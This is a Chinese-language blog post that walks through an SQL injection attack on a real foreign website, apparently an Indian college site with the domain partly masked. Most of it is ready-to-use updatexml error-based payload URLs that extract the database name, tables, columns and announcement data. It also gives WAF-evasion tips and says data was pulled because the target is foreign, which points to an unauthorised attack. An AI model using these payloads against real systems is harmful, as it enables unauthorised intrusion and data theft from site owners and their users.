X黑手网
X黑手网
X黑手网

实战:国外某站sql注入渗透测试

1.访问网站:http://www.xxxx.ac.in/news.php?id=2

image

2.判断是否存在sql注入

payload:http://www.xxxx.ac.in/news.php?id=2%27

image

3.这么一看,明显就是报错注入了,既然是报错注入那么一般就是updatexml

payload:http://www.xxxx.ac.in/news.php?id=2%27%20and%201=updatexml(1,concat(0x3a,(select%20database()),0x3a),3)–+

image

 

image

5.一般到这个时候就可以确定有sql注入了,那么我们之后就是注入表,字段,最后是数据。

pyaload(表):http://www.xxxx.ac.in/news.php?id=2%27%20and%201=updatexml(1,concat(0x3a,(select%20/*!group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27aspcdevr_college%27*/),0x3a),3)–+

pyaload(字段):http://www.xxxx.ac.in/news.php?id=2%27%20and%201=updatexml(1,concat(0x3a,(select%20/*!column_name%20from%20information_schema.columns%20where%20table_schema=%27aspcdevr_college%27%20%20and%20table_name=%27announcement%27%20limit%200,1*/),0x3a),3)–+

payload(数据):www.xxxx.ac.in/news.php?id=2‘ and 1=updatexml(1,concat(0x3a,(select /*!group_concat(title) from announcement */),0x3a),3)–+

ok,这样一个sql注入站就可以拿下来,但在实战项目里面一般内联也不会成功,注入出数据库就可以提交了,没必要注入出数据,这里因为是国外站就注入出数据了。sqlmap是扫不出来的,不然就sqlmap直接跑即可。一般绕waf的方法样式很多,比如替换函数,内联加版本号,加号,&等。仁者见仁,智者见智。

© 版权声明
THE END
喜欢就支持一下吧
点赞7赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容